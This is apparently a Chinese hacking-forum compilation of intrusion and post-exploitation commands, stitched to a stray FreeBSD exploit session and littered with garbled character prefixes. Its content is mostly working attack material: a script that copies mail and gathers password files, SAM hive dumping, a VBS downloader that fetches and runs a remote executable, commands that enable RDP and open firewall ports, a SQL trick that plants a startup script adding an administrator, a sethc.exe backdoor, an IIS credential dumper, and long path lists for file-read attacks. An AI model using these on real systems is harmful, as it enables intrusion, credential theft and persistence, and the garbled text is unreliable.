: q& q7 T9 b$ v: _/ ~& u: e  y! F[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
; ~4 Q# J) O+ n. O6 I5 ?& P0 _- I* vfs.usermount: 1
: E& c2 y, w( C7 x6 G  W* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
6 j% g4 j+ O9 u) H4 ^* [argp@julius ~]$ ./nfs_mount_ex
*
* H# {- N& {# A0 P2 X& q3 Dcalling nmount()
) S* _6 e4 @. W, u
" E5 h1 M1 s( o. F+ [0 _（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
9 B  X$ Z/ d' U; e3 t* P感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
* x6 f5 S0 e- M2 V8 Yalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
& h3 Z1 n" m) C: t, x{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
# f# k  L$ k( i; Q; |6 f) S若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
7 b0 i* H* |% S( w; Lrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
) v$ a+ L) f3 x2、收集系统信息的脚本  
for window：
) @4 {/ s* }! h& W1 o( z# D
@echo off
echo #########system info collection
systeminfo
ver
6 j+ s: ~/ I7 w9 a4 Phostname
, b" [; ]; B% P2 O# o; Qnet user
. Y  F( z% G7 O  G: w! O$ l* gnet localgroup
$ _- g0 J# G! lnet localgroup administrators
net user guest
" ^" h! @7 H6 q8 L1 G# X6 }2 ]' rnet user administrator

  E' ^; N3 G  b7 x/ techo #######at- with   atq#####
echo schtask /query

. ^6 a0 d% Z. e8 ~) r/ _1 h/ k& vecho
5 B, P' T6 S( _: }* v" wecho ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
3 I! E1 k0 d  \( c( r5 |arp -a
* r0 Q: C: W9 f  F$ ]# Z$ y) H, t- Nnetstat -anipconfig /displaydns
echo
  t* d4 z' Z, v; Lecho #######service############
sc query type= service state= all
1 B' B+ e6 E2 I! Q& Hecho #######file-##############
. V9 d+ g& H" k+ G6 hcd \
tree -F
for linux：
" ]; w+ Y6 q2 @4 r: R/ U4 {
! ^9 F- {; S2 N$ S#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
: c: t8 k) q! {, f- ?( Ncat /proc/meminfo
# z" Z4 c& k! Vecho
" b# ^0 h0 M! T0 Kcat /proc/cpuinfo
5 w* u1 _) j1 e9 V3 cecho
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
, E3 g* `% `; `+ c$ |/ j8 o
" u8 `0 D" P* P, E
8 ]! l$ u$ [% S. R* a$ Necho 'u'r id is' `id`
0 @; c5 P2 ~# r& I! }0 I* eecho ###atq&crontab#####
- o  c/ @) T: T8 z% Z% E5 natq
1 h$ R2 S: z: P+ }2 X1 Ycrontab -l
echo #####about var#####
- [" t/ x9 E. q, X( d2 a6 }set
* e9 z9 G! S0 @6 ]+ G8 C4 s. J
echo #####about network###
" u0 m7 g. X, p####this is then point in pentest,but i am a new bird,so u need to add some in it
% H- f# o# X" x' Ecat /etc/hosts
hostname
4 `1 t% C# e, N0 F6 U& Jipconfig -a
3 [! h6 G- p! Y1 b& p9 [5 r( Qarp -v
: t- o  \1 u: Iecho ########user####
, k" N9 d; x5 _0 @cat /etc/passwd|grep -i sh
/ H* \+ N$ E2 B+ m1 V
echo ######service####
chkconfig --list
0 l2 j& L  t0 y: m9 c* @
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
$ L5 _  S6 D. G& |3 p" K
locate passwd >/tmp/password 2>/dev/null
8 B* k7 }; z  c2 ?* O+ V" _+ Gsleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
* E" l) \6 X, S  ?( f5 Vsleep 5
5 }& ^' h; L* ]1 ylocate config >>/tmp/sysconfig 2>/dev/null
1 l+ p, p8 e6 V& ksleep 5
2 g' W: k  [7 I  F# l* x
###maybe can use "tree /"###
+ P- W  [8 i2 E3 Y& X- Eecho ##packing up#########
' S; b2 V. _$ D; |. otar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
- X9 @1 ?4 f% I9 S3、ethash 不免杀怎么获取本机hash。
3 ^! Q/ X6 ~( K7 a9 m首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
6 N* R- x0 S) J( [' y3 D1 W$ f接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
. _7 R: C1 n( w! z据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
/ M1 P1 l! j* H$ ?2 `. f& ~——————————————
4 e' ~) |( a, I: o2 i8 S8 \1 e) i4、vbs 下载者
7 i3 T4 A6 _2 a1
3 @* \6 r6 K- W( Qecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
; t/ [$ f4 S6 `2 `echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
9 w9 [+ d7 x- [& Y% decho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
, R' U5 i( |6 ]# \0 N/ \8 Pcftmon.vbs

2
% P1 M- k( ^5 x! _' ?5 b( m& GOn Error Resume Nextim iRemote,iLocal,s1,s2
7 L. b5 S3 e! u% Y3 \. l4 JiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
9 M1 f) }5 J! Ws1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
% `2 Z# U3 m) J& A: A% |5 L0 WSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
4 i* b5 [- J0 G- k) DSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

; H$ C3 t. o0 q- Jcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

4 L7 u' i8 X. T9 q" }3 u当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
( X1 x, M% ^9 ^& ]——————————————————
+ R+ s' O8 V5 C5、
+ A" u% Z- M3 }6 m1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6 ?; F2 p/ I( B" z& O; s7 s6、create table a (cmd text);
# r- w0 w2 u- e& A+ q/ w( r$ C( Rinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
9 b3 v8 h1 N; I8 u: ]% Sinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
' ]& A) v* s% I7 m4 x0 @: K7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
6 w+ ?. P6 V' N2 ]_____
8、for /d %i in (d:\freehost\*) do @echo %i

& d4 k$ T# k1 ~列出d的所有目录
  
+ U% \) M3 @; s/ q/ j% ?  for /d %i in (???) do @echo %i
0 b7 o" T- {$ G9 x$ R5 Y9 j+ @
把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
) s5 n. c1 R0 q) }1 n# T  
5 s+ R4 l0 y4 I以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
; X7 p3 u7 e) k+ Q9 T& h
- i; v8 M. o4 d1 e: d* x/ y6 Zfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

; f: B8 V$ |$ [6 ^, {1 h3.for /f %i in (c:\1.txt) do echo %i
4 _+ x* j- K4 |( |$ D( }5 K- W  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
! g% P, ~# m& i; f——————————
●注册表:
1.Administrator注册表备份:
% X4 z4 x  A. D6 Hreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
' L9 q0 g9 G% a( y2 K5 n
4 q2 @3 l- Y7 m) W! ]! I2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
. K( f8 H1 L; u* X: y修改PortNumber.
, J- y- L  N, _& B
3.清除3389登录记录:
, m% n  s# s1 Creg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
. B% b( {( {, a$ T7 ?3 I% `2 a" \# vreg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
) e3 k) p  ?$ B+ f  G
9 f& V0 S& f" i" y: j( M$ x" T* h# @6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
4 k+ f2 U1 M: `, O或者
9 ~9 h6 I2 g: C6 P" n* N& S3 Znetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
7 F+ d7 l1 A" P7 C4 o" f- `" p. p+ snetsh ipsec static set policy name="myipsec" assign=n

$ B8 `, I$ o/ s  G" `  Y8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
5 j% `  u- G6 W3 Y( u* Hreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

1 L/ o( H$ ^& S% ]  K2 [$ I- i10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
+ J' b# t! [# P; M6 `0 F
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
, Z+ @4 _/ u8 u' q6 ^  SSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
2 F8 F" h% r8 g- ^* M! D8 \set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
; v' y0 r( w# G6 \2 O# Q4 d  jmsgbox("error!")
wscript.quit
end if
$ A5 _+ ]7 G, M* ]+ d5 Zserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
4 U  l5 V1 C: ?. `: iuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
3 [5 F+ W3 s3 n6 [! H/ Dend if
Next
wscript.echo list
Set ObjService=Nothing
$ p* ?4 `) B6 Y7 A' Z7 a  o* p' @. `wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
- P) `- @5 Z% z) c2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
) j. A; f# y7 l" |$ n! F) U% U- ^; h</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
( J# m0 E! U. ]. n* e9 P/ d' X  f# C 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
  O# F  w1 k# J+ H( h& M7 ] 解决方法
% O0 \/ E7 x& q" L5 i url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

+ I( L( q$ G( K& [. W, d/ T- m==============================================================
3 N- w) @4 H" d$ m. R+ b7 J* nLINUX常见路径：

5 Z# n+ r  L  F: j' S& G: u  R0 Z/etc/passwd
/etc/shadow
- K2 L" [- e; t& t/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
6 c( t; d6 e# e# Z6 \4 \/var/httpd/conf/httpd.conf
6 D( p1 P' Z5 E- u$ p/var/httpd/htdocs/index.html
8 r+ b' f! k2 }0 V' K/var/httpd/conf/php.ini
2 s; S1 m$ s; Q- h7 \  Y6 a/var/www/index.html
! I9 C* ^) G" Q- ]# ?9 k/var/www/index.php
& A( k% f0 R. g4 Z3 h6 u) t' }/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
" _. z! a( P+ F4 r. x: H( _/opt/www/htdocs/index.html
. y7 `( J/ }" @7 B' i4 T4 m3 g% s/usr/local/apache/htdocs/index.html
0 L' ?: t  I7 C( l+ H3 S  }/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
3 Y7 A% f( W. g/usr/local/httpd2.2/htdocs/index.html
+ J- a& i+ n1 w/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
5 A6 Z, q! ?. A0 m  F5 f/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
6 d/ q) v( x* @$ Q+ J% w( e9 C/etc/httpd/htdocs/index.html
' P0 o' X( }2 r: O/ g/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
) D' m* F6 N+ a/ ?/ o; ~& |/www/conf/httpd.conf
/ K" O; I& X( g# d( o, D1 y6 K/ [. f# }/www/htdocs/index.php
# U, M' U( Q7 @6 ]/www/htdocs/index.html
/ h, M8 S: \$ e7 ]  F/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
8 e* V' \: n+ r* Y% R& @+ G) N/apache/apache2/conf/httpd.conf
5 b- H; l" q& p1 X/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
3 m( A7 n; K( E7 Y" f- t4 v& m/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
; ?7 f; _: y8 E, U! V# B/etc/httpd/conf.d/php.conf
; x; P/ a! p+ _/ B- n" t/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
# N: D4 M$ k/ J& z3 v6 s0 v! g7 P% T% q# F/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
" m3 K% S$ j9 e0 C4 `5 p* `/etc/httpd/logs/access.log
: ]5 g' h5 F" M- y2 G/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/ f: H3 n9 d* `# {$ R/var/log/apache/error_log
/var/log/apache/error.log
4 \, t2 ~2 F7 U& s/var/log/apache/access_log
/var/log/apache/access.log
: X8 F& J; G6 {; i! x/var/log/apache2/error_log
" G* Q0 b$ P3 T( A1 r/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
' ^% c9 d1 M0 X) B/ {0 \/var/www/logs/error.log
/var/www/logs/access_log
; e' g/ Q8 @$ a: C/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
$ x) d* O3 ^" `% E  X3 N8 _/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
- \* i- E( L+ d, N; B/var/log/error.log
/var/log/access_log
7 \% z: _% ?6 G. {* R' U/var/log/access.log
+ x$ Z% `3 M( Z/usr/local/apache/logs/access_logaccess_log.old
0 V; D$ z6 G) L& {5 M3 n/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
" j9 n% k# [, [/usr/local/etc/php.ini
5 P8 x' n. T. T0 m/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
" B/ q% ^  p2 Q3 K/usr/local/php4/php.ini
8 Z/ r: t, j$ ^2 G" m. p) n/usr/local/php4/lib/php.ini
( I, L0 x6 j0 }8 y/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
# E$ w' ~) X/ s/usr/local/apache2/conf/httpd.conf
/ D0 @) O1 s. Y, f3 v& S" {8 C/usr/local/apache2/conf/php.ini
, H  b9 O5 ?2 x4 |2 R/etc/php4.4/fcgi/php.ini
; G2 \. i3 n2 v7 P/etc/php4/apache/php.ini
" Y* t: L( @) f7 J/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
$ ?& O2 O: V% u9 |5 @/etc/php5/apache2/php.ini
1 a' _: Y: |0 p" g) ?) ?$ p+ |% \2 C/etc/php/php.ini
* M! `- G- p6 K- @) y- ~9 q9 u/etc/php/php4/php.ini
) u7 M; U- p7 Z6 [; M/etc/php/apache/php.ini
) [; t! g+ T! w; c: @' t4 y$ y/etc/php/apache2/php.ini
: U! S# b# g1 j* L- |3 ^* u" `; ~/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
; s! r" u3 q$ E/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
, n' Y8 W5 y, h6 ~/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
0 K, H' }/ w7 g" M) N# W5 N/PHP/php.ini
/apache/php/php.ini
, m: j( ]- m$ l" f0 z/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
8 p0 k; D0 l, f5 A3 J/ J/NetServer/bin/stable/apache/php.ini
3 ~. Y* V' l& F# u& n: x/home2/bin/stable/apache/php.ini
5 z% |- I+ [: {/home/bin/stable/apache/php.ini
. S! E! l$ n8 p; \" S/var/log/mysql/mysql-bin.log
/var/log/mysql.log
8 I( w- `3 Q! h2 h. W/var/log/mysqlderror.log
/var/log/mysql/mysql.log
; J. c' x, T7 p2 u$ c1 ~9 e/var/log/mysql/mysql-slow.log
; Q& q4 @9 v* u, t. |4 ^( b& |  \/var/mysql.log
  X- R5 f# b+ A. s0 ]# F  i3 f0 n/var/lib/mysql/my.cnf
  G4 G" M  r( t, ?: Q7 D$ u/usr/local/mysql/my.cnf
- _/ l: D; u0 m3 L/ M; h/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
$ m7 u- q% S" x3 M* n" J: d; \/etc/my.cnf
* h* c, n4 C; Q/usr/local/cpanel/logs
: _8 x# p, c0 p/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
+ w9 t/ G3 P6 Y0 [- b+ |/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
2 e" v& J; g9 m9 O1 t3 C; I2 I/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

- q1 v6 x( k. b: I/ |2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

1 T9 `3 q  {1 a0 t2 ]+ _- T# uc:\windows\php.ini
c:\boot.ini
c:\1.txt
4 x4 r- F& N9 U1 k. S" q. `" Rc:\a.txt
9 ?  \2 y6 ^+ X" L
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
/ I" M. z; a3 F6 K, H1 M+ |  Oc:\CMailServer\WebMail\index.asp
( x* k8 p2 K/ \, Ic:\program files\CMailServer\CMailServer.exe
( c- ]9 F2 g) Sc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
1 l, C* r3 f+ T+ t4 nC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

! l* Y9 W: t) J1 U0 M! Oc:\hzhost\databases\url.asp
( _* f' q8 q/ ?* M
2 Z1 {- U- K& y2 Wc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
1 ]1 q/ E, s$ P4 r' {3 E0 @: u$ \C:\WINDOWS\web.config
6 t* z$ Q: ]; S! v% uc:\web\index.html
; N4 z- e# Y$ L/ bc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
/ \, v. `% s1 L2 w) }8 a& cc:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
  G) {' R7 W9 e# {" j( Qc:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
) N$ C- D" C  M8 ?0 s, L( \c:\WWWROOT\index.php
/ `' E9 u8 u( m' s) F( E: E8 h5 @c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
' ~9 U; I3 R8 |4 u7 Vc:\website\default.html
c:\web\default.asp
c:\www\default.asp
2 b" I# N) J, K& {% [( Gc:\wwwsite\default.asp
2 ~4 q6 Q+ f0 h2 P! Nc:\WWWROOT\default.asp
c:\web\default.php
! q) z  _- G$ Z! Q3 ec:\www\default.php
c:\WWWROOT\default.php
* C! ~/ P5 v8 V6 _. Gc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
; P9 l7 z# x& Fc:\winnt\notepad.exe
2 G# m) }- x5 zC:\Program Files\Microsoft Office\OFFICE10\winword.exe
* g9 N/ T% L4 SC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
9 k  e% Z5 n* mC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
9 |3 \# v( R* N5 k2 O, p& w1 d7 _C:\Documents and Settings\All Users\Start Menu\desktop.ini
4 f7 K9 ?) D* \% y% F8 I0 oC:\Documents and Settings\Administrator\My Documents\Default.rdp
; a. P% x0 f& R5 H% W6 {5 mC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
) N: x9 g( b& T; J/ VC:\Documents and Settings\Administrator\桌面\1.txt
0 U5 C6 i: O) @: h. @: ZC:\Documents and Settings\Administrator\My Documents\a.txt
# t6 p; H9 c% YC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
- b0 q  z9 B' ]& O; Q! b, \4 WC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
# u  D' F# j/ rC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
6 E. \3 ?# o0 K" JC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
% o+ q' |1 H* W' }* i% U/ I6 NC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
# `/ n& D: O6 c0 s2 N7 CC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
+ R: F) Z8 U/ QC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
+ Q% X7 R7 r& \" aC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
" b7 w3 X& i: u$ G# H; n9 T* Xc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
5 K5 j# u  J  QC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
/ ^' K9 D: Q# I5 k0 y/ j6 U* \) s/ n1 {' |C:\WINDOWS\system32\inetsrv\w3wp.exe
- F; B& L7 |" X' z% JC:\WINDOWS\system32\inetsrv\inetinfo.exe
4 ~4 W) x' x+ U( kC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
* v/ \/ H5 O( i% R  UC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
+ m* C. c2 s& N, D' F$ {" M% Ic:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
7 ]8 C/ G" J4 {" `- [# {* W, Vc:\tomcat6\bin\version.sh
# B' x- f2 o9 `- hc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
1 j/ x3 j0 u8 F1 R$ Lc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
" b. A( T( D, C  Y. p4 O8 D- v: F2 CC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
0 X+ J: U8 q; j; i7 D1 p/usr/share/tomcat6/bin/startup.sh
# s. Q" s: i, y- R6 v7 |/usr/tomcat6/bin/startup.sh
5 s0 l& B4 P% hc:\Program Files\QQ2007\qq.exe
6 ?$ @3 v% Y* d8 P6 gc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
